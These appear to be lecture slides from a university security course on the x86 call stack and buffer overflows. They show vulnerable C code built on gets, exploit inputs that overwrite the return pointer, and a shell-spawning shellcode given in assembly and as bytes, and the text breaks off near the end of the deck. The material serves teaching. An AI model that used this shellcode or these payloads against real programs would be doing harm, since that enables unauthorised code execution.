1 of 67

Memory Safety Vulnerabilities

CS 161 Fall 2021 - Lecture 4

Computer Science 161

Popa and Weaver

2 of 67

Announcements

  • Start recording
  • Homework 1 is now due Friday, September 10th, 11:59 PM PT
    • Extended from Friday, September 3rd
  • Project 1 is due Friday, September 24th, 11:59 PM PT
  • Update: Lectures will be online-only for at least the first half of the semester
    • We are no longer planning on doing hybrid lectures next week
  • Lecture 3 recording is currently missing because of technical difficulties
    • In the meantime, we have a similar recording from Summer 2021
    • There may be a repeat of Lecture 3 later this week
  • Post lecture questions on the Piazza thread

2

Computer Science 161

Popa and Weaver

3 of 67

Last Time: x86 Assembly and Call Stack

  • C memory layout
    • Code section: Machine code (raw bits) to be executed
    • Static section: Static variables
    • Heap section: Dynamically allocated memory (e.g. from malloc)
    • Stack section: Local variables and stack frames
  • x86 registers
    • EBP register points to the top of the current stack frame
    • ESP register points to the bottom of the stack
    • EIP register points to the next instruction to be executed
  • x86 calling convention
    • When calling a function, the old EIP (RIP) is saved on the stack
    • When calling a function, the old EBP (SFP) is saved on the stack
    • When the function returns, the old EBP and EIP are restored from the stack

3

Computer Science 161

Popa and Weaver

4 of 67

Review: x86 Calling Convention

4

Textbook Chapter 2.8 & 2.9

Computer Science 161

Popa and Weaver

5 of 67

Review: Registers

  • EIP: instruction pointer, points to the next instruction to be executed
  • EBP: base pointer, points to top of the current stack frame
  • ESP: stack pointer, points to lowest item on the stack

5

Computer Science 161

Popa and Weaver

6 of 67

Review: Instructions

  • push src
    • ESP moves one word down
    • Puts the value in src at the current ESP
  • pop dst
    • Copies the lowest value on the stack (where ESP is pointing) into dst
    • ESP moves one word up
  • mov src dst
    • Copies the value in src into dst

6

Computer Science 161

Popa and Weaver

7 of 67

Review: Saved Values on the Stack

  • Recall: Calling convention
    • The callee promises to leave some registers unchanged for the caller
    • What if the callee wants to use those registers?
    • At the start of the function, the callee saves the register values on the stack
    • During the function, the callee can now change those registers
    • At the end of the function, the callee will put the saved values on the stack back into the registers
  • When the callee saves the value of EBP on the stack, we call it the SFP (saved frame pointer)
  • When the callee saves the value of EIP on the stack, we call it the RIP (return instruction pointer)

7

Computer Science 161

Popa and Weaver

8 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

int callee(int a, int b) {� int local;� return 42;�}��void caller(void) {� callee(1, 2);�}

8

Here is a snippet of C code

Here is the code compiled into x86 assembly

Computer Science 161

Popa and Weaver

9 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

9

The instruction that was just executed is in red

int callee(int a, int b) {� int local;� return 42;�}

The EIP points to the address of the next instruction!

EIP

Computer Science 161

Popa and Weaver

10 of 67

x86 Function Call

void caller(void) {� callee(1, 2);�}

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

10

Here is a diagram of the stack. Remember, each row represents 4 bytes (32 bits).

int callee(int a, int b) {� int local;� return 42;�}

EIP

Computer Science 161

Popa and Weaver

11 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

  • The EBP and ESP registers point to the top and bottom of the current stack frame.

11

caller stack frame

int callee(int a, int b) {� int local;� return 42;�}

EBP

ESP

EIP

Computer Science 161

Popa and Weaver

12 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

1. Push arguments on the stack

  • The push instruction decrements the ESP to make space on the stack
  • Arguments are pushed in reverse order

12

EBP

caller stack frame

2

int callee(int a, int b) {� int local;� return 42;�}

ESP

EIP

Computer Science 161

Popa and Weaver

13 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

1. Push arguments on the stack

  • The push instruction decrements the ESP to make space on the stack
  • Arguments are pushed in reverse order

13

caller stack frame

2

1

EBP

int callee(int a, int b) {� int local;� return 42;�}

ESP

EIP

Computer Science 161

Popa and Weaver

14 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

2. Push old EIP (RIP) on the stack�3. Move EIP

  • The call instruction does 2 things
  • First, it pushes the current value of EIP (the address of the next instruction in caller) on the stack.
  • The saved EIP value on the stack is called the RIP (return instruction pointer).
  • Second, it changes EIP to point to the instructions of the callee.

14

caller stack frame

2

1

Return Instruction Pointer

EBP

int callee(int a, int b) {� int local;� return 42;�}

ESP

EIP

Computer Science 161

Popa and Weaver

15 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

  • The next 3 steps set up a stack frame for the callee function.
  • These instructions are sometimes called the function prologue, because they appear at the start of every function.

15

caller stack frame

2

1

Return Instruction Pointer

Function prologue

EBP

int callee(int a, int b) {� int local;� return 42;�}

ESP

EIP

Computer Science 161

Popa and Weaver

16 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

4. Push old EBP (SFP) on the stack

  • We need to restore the value of the EBP when returning, so we push the current value of the EBP on the stack.
  • The saved value of the EBP on the stack is called the saved frame pointer (SFP).

16

caller stack frame

2

1

Return Instruction Pointer

Saved Frame Pointer

EBP

int callee(int a, int b) {� int local;� return 42;�}

ESP

EIP

Computer Science 161

Popa and Weaver

17 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

5. Move EBP

  • This instruction moves the EBP down to where the ESP is located.

17

caller stack frame

2

1

Return Instruction Pointer

Saved Frame Pointer

EBP

ESP

int callee(int a, int b) {� int local;� return 42;�}

EIP

Computer Science 161

Popa and Weaver

18 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

6. Move ESP

  • This instruction moves esp down to create space for a new stack frame.

18

caller stack frame

2

1

Return Instruction Pointer

Saved Frame Pointer

int callee(int a, int b) {� int local;� return 42;�}

EBP

ESP

EIP

Computer Science 161

Popa and Weaver

19 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

7. Execute the function

  • Now that the stack frame is set up, the function can begin executing.
  • This function just returns 42, so we put 42 in the EAX register. (Recall the return value is placed in EAX.)

19

caller stack frame

2

1

Return Instruction Pointer

Saved Frame Pointer

local

int callee(int a, int b) {� int local;� return 42;�}

EBP

ESP

EIP

Computer Science 161

Popa and Weaver

20 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

  • The next 3 steps restore the caller’s stack frame.
  • These instructions are sometimes called the function epilogue, because they appear at the end of every function.

20

caller stack frame

2

1

Return Instruction Pointer

Saved Frame Pointer

local

Function epilogue

int callee(int a, int b) {� int local;� return 42;�}

EBP

ESP

EIP

Computer Science 161

Popa and Weaver

21 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

8. Move ESP

  • This instruction moves the ESP up to where the EBP is located.
  • This effectively deletes the space allocated for the callee stack frame.

21

caller stack frame

2

1

Return Instruction Pointer

Saved Frame Pointer

local

int callee(int a, int b) {� int local;� return 42;�}

EBP

ESP

EIP

Computer Science 161

Popa and Weaver

22 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

9. Pop (restore) old EBP (SFP)

  • The pop instruction puts the SFP (saved EBP) back in EBP.
  • It also increments ESP to delete the popped SFP from the stack.

22

caller stack frame

2

1

Return Instruction Pointer

Saved Frame Pointer

local

int callee(int a, int b) {� int local;� return 42;�}

EBP

ESP

EIP

Computer Science 161

Popa and Weaver

23 of 67

x86 Function Call

caller:

...

push $2

push $1

call callee

add $8, %esp

...

callee:

push %ebp

mov %esp, %ebp

sub $4, %esp

mov $42, %eax

mov %ebp, %esp

pop %ebp

ret

void caller(void) {� callee(1, 2);�}

11. Remove arguments from stack

  • Back in the caller, we increment ESP to delete the arguments from the stack.
  • The stack has returned to its original state before the function call!

23

caller stack frame

2

1

Return Instruction Pointer

Saved Frame Pointer

local

int callee(int a, int b) {� int local;� return 42;�}

EBP

ESP

EIP

Computer Science 161

Popa and Weaver

24 of 67

Today: Memory Safety Vulnerabilities

  • Buffer overflows
    • Stack smashing
    • Memory-safe code
  • Integer memory safety vulnerabilities
  • Format string vulnerabilities
  • Heap vulnerabilities
  • Writing robust exploits

24

Computer Science 161

Popa and Weaver

25 of 67

Buffer Overflow Vulnerabilities

25

Textbook Chapter 3.1

Computer Science 161

Popa and Weaver

26 of 67

Consider an Airport Terminal…

26

Computer Science 161

Popa and Weaver

27 of 67

Consider an Airport “Terminal”…

27

Computer Science 161

Popa and Weaver

28 of 67

Consider an Airport “Terminal”…

28

#293 HRE-THR 850 1930

ALICE SMITH


ECONOMY

SPECIAL INSTRUX: NONE


Computer Science 161

Popa and Weaver

29 of 67

Consider an Airport “Terminal”…

29

Computer Science 161

Popa and Weaver

30 of 67

Consider an Airport “Terminal”…

30

#293 HRE-THR 850 1930

ALICE SMITH
HHHHHHHHHH

HHONOMY

SPECIAL INSTRUX: NONE


How could Alice exploit this?

Computer Science 161

Popa and Weaver

31 of 67

Consider an Airport “Terminal”…

31

Computer Science 161

Popa and Weaver

32 of 67

Consider an Airport “Terminal”…

32

#293 HRE-THR 850 1930

ALICE SMITH


FIRST

SPECIAL INSTRUX: NONE


By inserting padding characters (spaces) and exploiting the lack of boundaries between lines, Alice now appears to be in first class!

Takeaway: Attackers can exploit lack of to boundaries to control areas (memory, as we will see shortly) that they aren’t supposed to control

Computer Science 161

Popa and Weaver

33 of 67

Buffer Overflow Vulnerabilities

  • Recall: C has no concept of array length; it just sees a sequence of bytes
  • If you allow an attacker to start writing at a location and don’t define when they must stop, they can overwrite other parts of memory!

33

char name[4];

name[5] = 'a';

a

name[0]

name[1]

name[2]

name[3]

name[5]

This is technically valid C code, because C doesn’t check bounds!

Computer Science 161

Popa and Weaver

34 of 67

Vulnerable Code

34

char name[20];

void vulnerable(void) {

...

gets(name);

...

}

The gets function will write bytes until the input contains a newline ('\n'), not when the end of the array is reached!

Okay, but there’s nothing to overwrite—for now…

Computer Science 161

Popa and Weaver

35 of 67

Vulnerable Code

35

char name[20];

char instrux[20] = "none";

void vulnerable(void) {

...

gets(name);

...

}

What does the memory diagram of static data look like now?

Computer Science 161

Popa and Weaver

36 of 67

Vulnerable Code

36

char name[20];

char instrux[20] = "none";

void vulnerable(void) {

...

gets(name);

...

}

...

...

...

...

...

instrux

instrux

instrux

instrux

instrux

name

name

name

name

name

gets starts writing here and can overwrite anything above name!

What can go wrong here?

Note: name and instrux are declared in static memory (outside of the stack), which is why name is below instrux

Computer Science 161

Popa and Weaver

37 of 67

Vulnerable Code

37

char name[20];

int authenticated = 0;

void vulnerable(void) {

...

gets(name);

...

}

...

...

...

...

...

...

...

...

...

authenticated

name

name

name

name

name

gets starts writing here and can overwrite the authenticated flag!

What can go wrong here?

Computer Science 161

Popa and Weaver

38 of 67

Vulnerable Code

38

char line[512];

char command[] = "/usr/bin/ls";

int main(void) {

...

gets(line);

...

execv(command, ...);

}

...

...

...

...

...

...

...

...

command

command

command

line

...

line

line

What can go wrong here?

Computer Science 161

Popa and Weaver

39 of 67

Vulnerable Code

39

char name[20];

int (*fnptr)(void);

void vulnerable(void) {

...

gets(name);

...

fnptr();

}

...

...

...

...

...

...

...

...

...

fnptr

name

name

name

name

name

fnptr is called as a function, so the EIP jumps to an address of our choosing!

What can go wrong here?

Computer Science 161

Popa and Weaver

40 of 67

Most Dangerous Software Weaknesses (2020)

40

Rank

ID

Name

Score

[1]

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

46.82

[2]

Out-of-bounds Write

46.17

[3]

Improper Input Validation

33.47

[4]

Out-of-bounds Read

26.50

[5]

Improper Restriction of Operations within the Bounds of a Memory Buffer

23.73

[6]

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

20.69

[7]

Exposure of Sensitive Information to an Unauthorized Actor

19.16

[8]

Use After Free

18.87

[9]

Cross-Site Request Forgery (CSRF)

17.29

[10]

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

16.44

[11]

Integer Overflow or Wraparound

15.81

[12]

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

13.67

[13]

NULL Pointer Dereference

8.35

[14]

Improper Authentication

8.17

[15]

Unrestricted Upload of File with Dangerous Type

7.38

[16]

Incorrect Permission Assignment for Critical Resource

6.95

[17]

Improper Control of Generation of Code ('Code Injection')

6.53

Computer Science 161

Popa and Weaver

41 of 67

Stack Smashing

41

Textbook Chapter 3.2

Computer Science 161

Popa and Weaver

42 of 67

Stack Smashing

  • The most common kind of buffer overflow
  • Occurs on stack memory
  • Recall: What does are some values on the stack an attacker can overflow?
    • Local variables
    • Function arguments
    • Saved frame pointer (SFP)
    • Return instruction pointer (RIP)
  • Recall: When returning from a program, the EIP is set to the value of the RIP saved on the stack in memory
    • Like the function pointer, this lets the attacker choose an address to jump (return) to!

42

Computer Science 161

Popa and Weaver

43 of 67

Note: Python Syntax

  • For this class, you will see Python syntax used to represent sequences of bytes
    • This syntax will be used in Project 1 and on exams!
  • Adding strings: Concatenation
    • 'abc' + 'def' == 'abcdef'
  • Multiplying strings: Repeated concatenation
    • 'a' * 5 == 'aaaaa'
    • 'cs161' * 3 == 'cs161cs161cs161'

43

Computer Science 161

Popa and Weaver

44 of 67

Note: Python Syntax

  • Raw bytes
    • len('\xff') == 1
  • Characters can be represented as bytes too
    • '\x41' == 'A'
    • ASCII representation: All characters are bytes, but not all bytes are characters
  • Note: '\\' is a literal backslash character
    • len('\\xff') == 4, because the slash is escaped first
      • This is a literal slash character, a literal 'x' character, and 2 literal 'f' characters
      • '\\xff' == '\x5c\x78\x66\x66'

44

Computer Science 161

Popa and Weaver

45 of 67

Overwriting the RIP

45

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

SFP of vulnerable

name

name

name

name

name

gets starts writing here and can overwrite anything above name, including the RIP!

void vulnerable(void) {

char name[20];

gets(name);

}

Assume that the attacker wants to execute instructions at address 0xdeadbeef.

name

SFP

RIP

What should an attacker supply as input to the gets function?

What value should the attacker write in memory? Where should the value be written?

Computer Science 161

Popa and Weaver

46 of 67

Overwriting the RIP

  • Input: 'A' * 24 + '\xef\xbe\xad\xde'
    • 24 garbage bytes to overwrite all of name and the SFP of vulnerable
    • The address of the instructions we want to execute
      • Remember: Addresses are little-endian!
  • What if we want to execute instructions that aren’t in memory?

46

void vulnerable(void) {

char name[20];

gets(name);

}

Note the NULL byte that terminates the string, automatically added by gets!

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

0x00

...

...

...

0xef

0xbe

0xad

0xde

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

name

SFP

RIP

Computer Science 161

Popa and Weaver

47 of 67

Writing Malicious Code

  • The most common way of executing malicious code is to place it in memory yourself
    • Recall: Machine code is made of bytes
  • Shellcode: Malicious code inserted by the attacker into memory, to be executed using a memory safety exploit
    • Called shellcode because it usually spawns a shell (terminal)
    • Could also delete files, run another program, etc.

47

xor %eax, %eax�push %eax�push $0x68732f2f�push $0x6e69622f�mov %esp, %ebx�mov %eax, %ecx�mov %eax, %edx�mov $0xb, %al�int $0x80

0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x89 0xc1 0x89 0xc2 0xb0 0x0b 0xcd 0x80

Assembler

Computer Science 161

Popa and Weaver

48 of 67

Putting Together an Attack

  1. Find a memory safety (e.g. buffer overflow) vulnerability
  2. Write malicious shellcode at a known memory address
  3. Overwrite the RIP with the address of the shellcode
    • Often, the shellcode can be written and the RIP can be overwritten in the same function call (e.g. gets), like in the previous example
  4. Return from the function
  5. Begin executing malicious shellcode

48

Computer Science 161

Popa and Weaver

49 of 67

Constructing Exploits

49

void vulnerable(void) {

char name[20];

gets(name);

}

Let SHELLCODE be a 12-byte shellcode. Assume that the address of name is 0xbfffcd40.

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

SFP of vulnerable

name

name

name

name

name

name

SFP

RIP

0xbfffcd5c

0xbfffcd58

0xbfffcd54

0xbfffcd50

0xbfffcd4c

0xbfffcd48

0xbfffcd44

0xbfffcd40

What should an attacker supply as input to the gets function?

What values should the attacker write in memory? Where should the values be written?

Computer Science 161

Popa and Weaver

50 of 67

Constructing Exploits

  • Input: SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
    • 12 bytes of shellcode
    • 12 garbage bytes to overwrite the rest of name and the SFP of vulnerable
    • The address of where we placed the shellcode

50

0xbfffcd5c

0xbfffcd58

0xbfffcd54

0xbfffcd50

0xbfffcd4c

0xbfffcd48

0xbfffcd44

0xbfffcd40

void vulnerable(void) {

char name[20];

gets(name);

}

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

0x00

...

...

...

0x40

0xcd

0xff

0xbf

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

SHELLCODE

SHELLCODE

SHELLCODE

name

SFP

RIP

Computer Science 161

Popa and Weaver

51 of 67

Constructing Exploits

  • Alternative: 'A' * 12 + SHELLCODE + '\x4c\xcd\xff\xbf'
    • The address changed! Why?
      • We placed our shellcode at a different address (name + 12)!

51

0xbfffcd5c

0xbfffcd58

0xbfffcd54

0xbfffcd50

0xbfffcd4c

0xbfffcd48

0xbfffcd44

0xbfffcd40

void vulnerable(void) {

char name[20];

gets(name);

}

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

0x00

...

...

...

0x4c

0xcd

0xff

0xbf

SHELLCODE

SHELLCODE

SHELLCODE

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

name

SFP

RIP

Computer Science 161

Popa and Weaver

52 of 67

Constructing Exploits

52

void vulnerable(void) {

char name[20];

gets(name);

}

What if the shellcode is too large? Now let SHELLCODE be a 28-byte shellcode. What should the attacker input?

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

SFP of vulnerable

name

name

name

name

name

name

SFP

RIP

0xbfffcd5c

0xbfffcd58

0xbfffcd54

0xbfffcd50

0xbfffcd4c

0xbfffcd48

0xbfffcd44

0xbfffcd40

Computer Science 161

Popa and Weaver

53 of 67

Constructing Exploits

  • Solution: Place the shellcode after the RIP!
    • This works because gets lets us write as many bytes as we want
    • What should the address be?
  • Input: 'A' * 24 + '\x5c\xcd\xff\xbf' + SHELLCODE
    • 24 bytes of garbage
    • The address of where we placed the shellcode
    • 28 bytes of shellcode

53

0xbfffcd5c

0xbfffcd58

0xbfffcd54

0xbfffcd50

0xbfffcd4c

0xbfffcd48

0xbfffcd44

0xbfffcd40

void vulnerable(void) {

char name[20];

gets(name);

}

...

...

...

...

SHELLCODE

SHELLCODE

SHELLCODE

SHELLCODE

SHELLCODE

SHELLCODE

SHELLCODE

0x5c

0xcd

0xff

0xbf

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

name

SFP

RIP

Computer Science 161

Popa and Weaver

54 of 67

Walking Through a Buffer Overflow

54

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

SFP of vulnerable

name

name

name

name

name

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

Popa and Weaver

55 of 67

Walking Through a Buffer Overflow

55

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

SFP of vulnerable

name

name

name

name

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

Popa and Weaver

56 of 67

Walking Through a Buffer Overflow

56

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

SFP of vulnerable

name

name

name

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

Popa and Weaver

57 of 67

Walking Through a Buffer Overflow

57

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

SFP of vulnerable

name

name

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

Popa and Weaver

58 of 67

Walking Through a Buffer Overflow

58

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

SFP of vulnerable

name

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

Popa and Weaver

59 of 67

Walking Through a Buffer Overflow

59

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

SFP of vulnerable

(name) 'AAAA'

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Computer Science 161

Popa and Weaver

60 of 67

Walking Through a Buffer Overflow

60

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

RIP of vulnerable

(SFP) 'AAAA'

(name) 'AAAA'

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

We overwrite the SFP (saved EBP) with 'AAAA', so the SFP is now pointing at the (probably invalid) address AAAA (0x41414141)

Computer Science 161

Popa and Weaver

61 of 67

Walking Through a Buffer Overflow

61

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

0x00

...

(RIP) 0xbfffcd40

(SFP) 'AAAA'

(name) 'AAAA'

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

We overwrite the RIP (saved EIP) with the address of our shellcode 0xbfffcd40, so the RIP is now pointing at our shellcode! Remember, this value will be restored to EIP (the instruction pointer) later.

Computer Science 161

Popa and Weaver

62 of 67

Walking Through a Buffer Overflow

62

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

0x00

...

(RIP) 0xbfffcd40

(SFP) 'AAAA'

(name) 'AAAA'

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Returning from gets: Move ESP up by 4.

Computer Science 161

Popa and Weaver

63 of 67

Walking Through a Buffer Overflow

63

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

0x00

...

(RIP) 0xbfffcd40

(SFP) 'AAAA'

(name) 'AAAA'

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Function epilogue: Move ESP to EBP.

Computer Science 161

Popa and Weaver

64 of 67

Walking Through a Buffer Overflow

64

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

0x00

...

(RIP) 0xbfffcd40

(SFP) 'AAAA'

(name) 'AAAA'

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Function epilogue: Restore the SFP into EBP. We overwrote SFP to 'AAAA', so the EBP now also points to the address 'AAAA'. We don’t really care about EBP, though.

Computer Science 161

Popa and Weaver

65 of 67

Walking Through a Buffer Overflow

65

void vulnerable(void) {

char name[20];

gets(name);

}

int main(void) {

vulnerable();

return 0;

}

vulnerable:

...

call gets� addl $4, %esp

movl %ebp, %esp

popl %ebp

ret

main:

...

call vulnerable

...

EIP

EBP

ESP

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

0x00

...

(RIP) 0xbfffcd40

(SFP) 'AAAA'

(name) 'AAAA'

(name) 'AAAA'

(name) SHELLCODE

(name) SHELLCODE

(name) SHELLCODE

...

Input:

SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'

Function epilogue: Restore the RIP into EIP. We overwrote RIP to the address of shellcode, so the EIP (instruction pointer) now points to our shellcode!

Computer Science 161

Popa and Weaver

66 of 67

Walking Through a Buffer Overflow

66

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

...

0x00

...

(RIP) 0xbfffcd40

